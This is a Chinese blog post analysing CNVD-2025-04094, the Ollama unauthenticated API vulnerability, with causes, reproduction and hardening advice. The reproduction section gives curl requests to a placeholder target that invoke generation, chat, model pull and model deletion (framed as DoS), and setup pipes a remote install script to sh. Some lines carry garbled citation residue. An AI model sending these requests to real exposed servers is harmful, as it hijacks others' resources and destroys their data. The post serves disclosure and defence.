CNVD-2025-04094 Ollama 未授权访问漏洞

最新推荐文章于 2025-08-02 11:24:37 发布
原创 最新推荐文章于 2025-08-02 11:24:37 发布 · 1k 阅读 · 12 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全 #web安全 #ai #ai安全

   Ollama 是一个开源的大语言模型（LLM）运行环境和工具集，旨在帮助开发者轻松部署、管理和使用模型（如 DeepSeek 等）。 Ollama 存在未授权访问漏洞，攻击者可以直接访问敏感接口进行读取、下载或删除私有模型文件，或滥用模型推理资源等高危操作。

根据 Ollama 官方文档与库页面，目前支持的模型类型众多，可通过 CLI 或 Modelfile 定制使用：

  1. LLM 基础模型（tools & thinking）

  2. 多模态与视觉模型（vision）

  3. 嵌入与专用任务模型

    • nomic‑embed‑text、bge‑m3、snowflake, all‑minilm 等适用于嵌入计算任务

    • StarCoder2、DeepSeek‑coder‑v2 等针对代码生成任务byteplus.com+5ollama.com+5github.com+5

  4. 精简小型模型与混合专家模型

如何查看本地可用模型

  • 使用 ollama list 命令，可列出当前本地已下载模型reddit.com+14medium.com+14github.com+14。

  • 使用 ollama show <model> 查看模型详细信息与支持功能。

  • 若需要查看 Ollama 官方库的可用模型，可访问 [ollama.com/library] 并结合 ollama pull 拉取指定模型（例如 ollama pull llama3.2）github.com+1ollama.readthedocs.io+1。

漏洞概览

检测方法

  1. 主动检测

    • 使用命令：

      sudo netstat -tulpn | grep 11434

  2. 自动化工具扫描

漏洞成因分解

1. 默认监听无认证接口

Ollama 默认以 127.0.0.1:11434 监听本地接口提供服务，但：

  • 它并没有内置任何身份验证机制（如 API Key、Token、Basic Auth 等）；

  • 所有 REST API 接口（如 /api/generate、/api/pull、/api/chat 等）完全信任任何来源的调用请求。

这意味着：只要网络连通，攻击者即可直接调用全部敏感接口。

2. 用户配置错误（监听地址改为 0.0.0.0）

Ollama 的启动支持环境变量配置监听地址：

export OLLAMA_HOST=0.0.0.0

很多用户为了远程访问、前端调用、API 调试等方便，将其暴露为 0.0.0.0 或公网 IP，但：

  • 未设置认证；

  • 未限制访问来源；

  • 通常未设置反向代理或安全网关。

导致服务从“只限本地访问”变成了“暴露到整个公网”，完全敞开。

3. Ollama 没有认证机制支持

Ollama 目前版本存在结构性设计缺陷：

  • 没有用户体系；

  • 没有 Session、Cookie 或 Token 校验机制；

  • 不支持 API Key、OAuth、JWT 等现代认证手段；

  • 无法通过 Ollama 自身配置做到任何形式的访问控制。

这导致一旦端口暴露，服务即陷入“裸奔”状态。

4. 部署环境缺少最小化信任边界

在实际部署过程中，很多用户未设置：

  • 防火墙（如 iptables、ufw）限制 11434 端口来源；

  • 云服务平台（如 AWS、阿里云）中的安全组规则；

  • 反向代理访问控制（如 Nginx + Basic Auth）；

  • 监控与告警机制（如请求速率、API 频次告警）；

这让攻击者可以使用自动化工具横扫整个互联网，找到暴露的 Ollama 实例进行操控。

漏洞复现

一、环境准备

1. 安装 Ollama（如 Ubuntu / macOS）

# macOS brew install ollama # Ubuntu / Debian curl -fsSL https://ollama.com/install.sh | sh

2. 启动服务并监听公网（复现核心点）

默认 Ollama 仅监听 127.0.0.1:11434，为了复现漏洞，需要人为设置监听 0.0.0.0（所有网卡）：

export OLLAMA_HOST=0.0.0.0 ollama serve &

注意：此时本机的 11434 端口将向整个局域网甚至公网开放，处于“裸奔”状态。

3. 拉取模型供测试使用

ollama pull llama3

此步骤将下载一个基础模型（如 Meta 的 LLaMA3），后续攻击者即可直接调用该模型进行交互。

二、漏洞复现步骤

你现在可以模拟远程攻击者行为，例如从另一台主机访问：

1. 未授权调用 /api/generate 接口

curl -X POST http://<目标IP>:11434/api/generate \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "prompt": "请介绍下你自己。", "stream": false }'

预期结果：服务返回模型生成内容，说明接口被完全绕过，无需认证。

2. 未授权调用 /api/chat 接口

curl -X POST http://<目标IP>:11434/api/chat \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "messages": [{"role": "user", "content": "告诉我某个企业的信息。"}], "stream": false }'

模拟上下文对话，可用于提取敏感信息或构造 prompt injection。

3. 利用 /api/pull 拉取任意模型

curl -X POST http://<目标IP>:11434/api/pull \ -H "Content-Type: application/json" \ -d '{"name": "mistral"}'

 若攻击者传入恶意构造的模型名（可伪造远程 URL、嵌入恶意行为），可触发代码侧信任链攻击（尚需配合模型验证绕过）。

 4. 查看所有已加载模型

curl http://<目标IP>:11434/api/tags

获取当前目标 Ollama 实例中可用的模型标签，配合 /api/delete 可构成 DoS 攻击：

curl -X DELETE http://<目标IP>:11434/api/delete \ -H "Content-Type: application/json" \ -d '{"name": "llama3"}'

修复建议

一、【官方开发者层面】修复建议

这是最关键的根因解决层，建议 Ollama 后续版本做如下改进：

1. 引入认证机制

  • 支持 API Key（通过环境变量或配置文件设置）

  • 支持 HTTP Basic Auth、JWT、OAuth 等标准认证方式

  • 添加权限角色（如只读 / 只写 / 管理员）

2. 默认强制绑定本地接口

  • 默认强制绑定 127.0.0.1，禁止监听 0.0.0.0，除非显式设置

  • 若监听 0.0.0.0，必须提示高风险警告

3. 接口访问日志与告警

  • 对敏感接口如 /api/pull、/api/delete、/api/chat 开启请求日志

  • 添加访问速率限制、异常访问告警功能

4. 配置文件安全预设模板

  • 提供 secure.conf 配置模板，引导用户配置身份验证和监听地址

二、【运维部署者层面】修复建议

如果你是安全运维、DevOps、平台工程师，建议立即采取以下加固措施：

1. 禁止监听公网地址

  • 推荐配置方式：

    export OLLAMA_HOST=127.0.0.1

  • 或在 systemd 服务文件中设置：

    Environment="OLLAMA_HOST=127.0.0.1"

2. 使用反向代理加认证

通过 Nginx / Caddy 等反向代理添加认证层：

Nginx 示例：
server { listen 80; server_name your-domain.com; location / { proxy_pass http://localhost:11434; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } }

（.htpasswd 可使用 htpasswd 工具生成）

3. 部署防火墙/安全组规则

  • 本地防火墙（如 iptables / ufw）

    sudo ufw allow from 192.168.1.0/24 to any port 11434 sudo ufw deny 11434/tcp

  • 云服务安全组（如 AWS、阿里云）

    • 限制端口 11434 仅允许公司内网或白名单 IP 访问

    • 禁止 0.0.0.0/0 的全公网访问

4. 对敏感接口设置访问频率限制

使用 Nginx 的 limit_req_zone 模块：

limit_req_zone $binary_remote_addr zone=api_limit:10m rate=1r/s; location /api/ { limit_req zone=api_limit burst=5; proxy_pass http://localhost:11434; }
haoyv147
关注
CNVD-2025-04094：Ollama未授权访问漏洞复现
薛定谔嘚喵博客
03-05 1289
由于Ollama默认部署配置未强制启用身份认证机制，如果部署公网，其端口（11434）将能直接被访问，未经授权的攻击者可在远程条件下调用Ollama服务高危接口，从而控制Ollama 执行任意Prompt指令，篡改系统配置，拉取删除私有模型文件等操作。
OLLAMA 未授权访问（CNVD-2025-04094）
iSee857的博客
03-03 1327
Ollama存在未授权访问漏洞。由于Ollama默认未设置身份验证和访问控制功能，未经授权的攻击者可在远程条件下调用Ollama服务接口，执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。未设置身份验证和访问控制功能且暴露在公共互联网上的Ollama易受此漏洞攻击影响。（CNVD-2025-04094）
Goby 漏洞安全通告｜ Ollama /api/tags 未授权访问漏洞（CNVD-2025-04094）
m0_46699477的博客
03-03 1421
Ollama /api/tags 未授权访问漏洞（CNVD-2025-04094）:Ollama 是一个开源的大语言模型（LLM）运行环境和工具集，旨在帮助开发者轻松部署、管理和使用模型（如 DeepSeek 等）。近期互联网披露，如果 Ollama 直接暴露服务端口（默认为 11434）于公网，并且未启用身份认证机制，远程攻击者可以在未授权的情况下访问其高危接口。攻击者可能通过未授权的接口访问敏感数据、滥用资源或篡改系统配置，进一步扩大攻击范围。
Ollama未授权访问（CNVD-2025-04094）
2301_78554096的博客
03-27 414
Ollama未授权访问
AI时代GIS数据防泄密必修课：Ollama高危漏洞修复深度指南
AIGIS的博客
03-08 1277
​GIS数据大都是涉密数据，很多GISer本地部署大模型都是使用的Ollama。近日，国家信息安全漏洞共享平台收录了一个Ollama的漏洞，编号CNVD-2025-04094。​该漏洞可能导致攻击者在未授权的情况下访问高危接口，进而窃取敏感数据、滥用资源或篡改系统配置。如果 Ollama 服务端口（默认为 11434）直接暴露于公网，且未启用身份认证机制，远程攻击者可能在未授权的情况下访问其高危接口。​这可能导致敏感数据泄露、计算资源滥用或系统配置被篡改，进一步扩大攻击范围。
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
redis 未授权访问 (CNVD-2019-21763)
qq_32445755的博客
10-03 1155
近日，Redis 被爆出Redis 4.x/5.x 版本存在主从同步命令执行漏洞，攻击者通过构造特定的请求实现漏洞利用，成功利用漏洞可在目标服务器上实现Getshell，风险较高。目前漏洞的利用方式已被公开。CNVD-2015-07557也可以复现。
CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner:CNVD-2020-10487 CVE-2020-1938，扫描仪工具
03-20
python2多线程扫描Tomcat-Ajp协议文件重新定义 刷src分狗的福利poc扩大 poc作者不是本人！！！！ 操作 1，将需要扫描的域名/ ip放于ip.txt ip.txt中不需要加协议，某种 ...拿到CNVD-2020-10487-Tomcat-Ajp-lfi.py测
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8743
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
CONTRASTIVE-KAN：一种用于稀缺标记数据的网络安全半监督入侵检测框架
hasakie的博客
07-30 522
本文提出Contrastive-KAN框架，解决工业物联网入侵检测中标签稀缺和数据不平衡问题。该框架结合半监督对比学习与Kolmogorov-Arnold网络（KAN），通过掩蔽增强生成多视图预训练特征，利用KAN的可学习样条函数提升模型表达能力。实验表明，在标记数据仅1.28%-8%的情况下，该框架在UNSW-NB15等三个数据集上F1值达86.70%-93.66%，推理时间0.13-0.41ms。KAN相比传统MLP参数更少、性能更优，其可解释性支持安全规则提取。研究为工业场景提供了高效、可解释的实时入
Web安全学习步骤
JQLvopkk的博客
08-01 650
Web安全学习步骤
零信任网络概念及在网络安全中的应用
都给我的博客
07-31 368
零信任网络（Zero Trust Network）是一种颠覆传统边界安全的架构理念，其核心是**“永不信任，始终验证”**（Never Trust, Always Verify）。它假设网络内外均存在威胁，需对所有访问请求进行动态验证和最小权限控制。的动态防护机制，在日益复杂的网络威胁中构建内生安全能力。零信任不仅是技术升级，更是安全范式的根本变革。
什么是网络安全?网络安全包括哪几个方面?学完能做一名黑客吗？
程序员若风的博客
07-31 802
网络安全是指保护网络系统、硬件、软件及数据免受未经授权访问或破坏的技术与措施，主要包括保护机密性、维护完整性、保障可用性等核心要素。网络安全涉及多个领域，如系统安全、网络安全、应用安全、数据安全、云安全等。Web安全工程师主要负责漏洞评估、安全测试、应急响应等工作。要成为优秀网络安全工程师，需掌握网络与编程基础、网络安全原理，获取相关认证，并通过实践积累经验。网络安全旨在构建安全可靠的网络环境，保护个人和组织的信息安全。
2024年网络安全案例
最新发布
JQLvopkk的博客
08-02 394
国家级APT | 零日漏洞+持久化控制 | 网络分段，敏感数据加密 || 勒索软件 | 双重勒索+供应链渗透 | 强制启用MFA，离线加密备份 |- 手法：利用管理服务器私钥漏洞，伪造签名调用合约`withdraw`函数提取多链资产（含稳定币、ETH、wBTC）。| 区块链漏洞 | 私钥管理失效+合约逻辑缺陷 | 多签冷钱包，第三方代码审计 |
2025年常见网络安全问题及针对性预防措施
JQLvopkk的博客
08-02 1397
**威胁类型** | **防护措施** | **效果** |- 特征：攻击规模突破2Tbps，混合流量洪泛与应用层攻击，利用IoT僵尸网络发起HTTPS加密流量，慢速攻击长期占用资源规避检测。- 使用**SCA工具扫描第三方组件，建立开源库准入机制，高危漏洞24小时修复SLA。- 使用**AES-256加密**敏感文件，采用离线+云双备份策略应对勒索软件。
【网络安全】等级保护2.0解决方案
weixin_41039677的博客
07-31 498
等保2.0（网络安全等级保护2.0）是我国网络安全领域的基础性制度，在1.0版本基础上扩展了云计算、大数据、物联网等新兴领域，形成覆盖全场景的安全防护框架。技术防护方案构建多层次防御体系：从网络边界（防火墙、入侵检测）到终端主机（杀毒软件、补丁管理），再到数据安全（加密、脱敏），形成“边界-终端-数据”立体防护。安全管理规划注重制度与执行结合：明确安全组织架构及岗位权责，制定涵盖风险评估、应急响应等全流程制度，定期开展员工安全培训与应急演练，将安全要求融入日常运营，避免“重技术、轻管理”的漏洞。
网络与信息安全有哪些岗位：（4）应急响应工程师
锦鲤的博客
07-31 1416
本文介绍了网络与信息安全领域中的应急响应工程师岗位。该岗位主要负责安全事件全生命周期管理，包括监控预警、应急处置、预案演练和防御升级四大模块。文章详细阐述了应急响应工程师在互联网、金融、政府、制造业等不同行业的具体职责和技术要求，指出核心技术能力包括攻击认知、系统分析和取证调查等，同时强调抗压能力、跨部门协作等软技能的重要性。文中还对比了应急响应工程师与渗透测试、安全运维等岗位的区别，提供了职业发展路径建议，并指出该岗位是网络安全体系的最后防线，对企业实现"被动应对到主动防御"的转变具有
软件测评中网站类测评测试使用的BurpSuite-Web安全测试流程
2503_92839163的博客
07-30 608
BurpSuite作为渗透测试核心工具，Burp Suite通过模块化设计实现全流程攻击面覆盖。掌握其高阶工作流可显著提升漏洞挖掘效率。软件测评中网站类测评测试使用的BurpSuite-Web安全测试流程
【网络安全】DDOS攻击
Dalik1018的博客
07-21 1591
想象你常去的奶茶店，平时 10 个顾客能轻松接待。突然某天，来了 1000 个 “假顾客”—— 他们不买奶茶，就挤在门口聊天、占位置，把门窗堵得严严实实。真正想下单的顾客进不去，店员也忙得没空做单，最后店直接 “瘫痪” 了。用海量 “假请求” 把目标网络 / 服务器的 “大门” 堵死，让正常用户无法访问。这里的 “假顾客”= 黑客控制的 “肉鸡”（被感染的电脑、手机、智能设备）；“堵门”= 海量恶意流量（比如重复的访问请求）；“奶茶店瘫痪”= 网站 / APP / 服务器无法响应正常请求。
CNVD-2025-04973这个漏洞如何修复
03-15
当前提供的引用内容并未提及关于 **CNVD-2025-04973** 的具体细节或修复方法。然而，可以根据常见的漏洞修复流程以及已知的安全实践来推测可能的解决方案。 以下是针对此类漏洞的一般性修复建议： ### 1. 更新至最新版本 通常情况下，软件厂商会在发现漏洞后发布补丁程序或更新版本以解决安全问题。对于 **CNVD-2025-04973** 漏洞，应确认受影响的应用程序是否有可用的新版本或热修补程序[^1]。如果存在，请及时升级到最新的稳定版。 ### 2. 配置访问控制策略 许多漏洞源于不当配置或者权限管理不严格。例如，在某些 API 接口中可能存在未授权访问的情况。因此，强化系统的访问控制机制至关重要。可以通过设置严格的认证与鉴权措施防止非法操作发生。比如启用 OAuth 或其他形式的身份验证手段，并确保只有经过许可的用户才能调用敏感接口[^2]。 ### 3. 实施最小化原则 遵循最小特权原则（Principle of Least Privilege），仅授予必要的功能和服务给应用程序运行所需的角色/账户。这样即使某个部分被攻破，也能最大限度减少损害范围[^3]。 ### 4. 定期审计日志记录 保持良好的监控习惯有助于快速检测异常行为并作出响应。定期审查服务器上的活动日志可以帮助识别潜在威胁源及其模式；同时也可以作为事后分析的重要依据之一。 虽然以上几点并非专门针对某一特定编号(CNVD-2025-04973)，但它们代表了一套通用且有效的防御措施适用于多种类型的网络安全事件处置场景之中。 ```python # 示例代码展示如何通过Python脚本检查系统是否存在易受攻击的服务端口开放情况 import socket def test_port(host, port): try: sock = socket.create_connection((host, port), timeout=2) sock.close() return True except Exception as ex: return False if __name__ == "__main__": host_to_check = 'localhost' ports_list = [80, 443, 427] vulnerable_ports = [] for p in ports_list: if test_port(host_to_check,p): vulnerable_ports.append(p) if len(vulnerable_ports)>0 : print(f"The following potentially dangerous ports are open:{vulnerable_ports}") else: print("No risky services detected.") ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值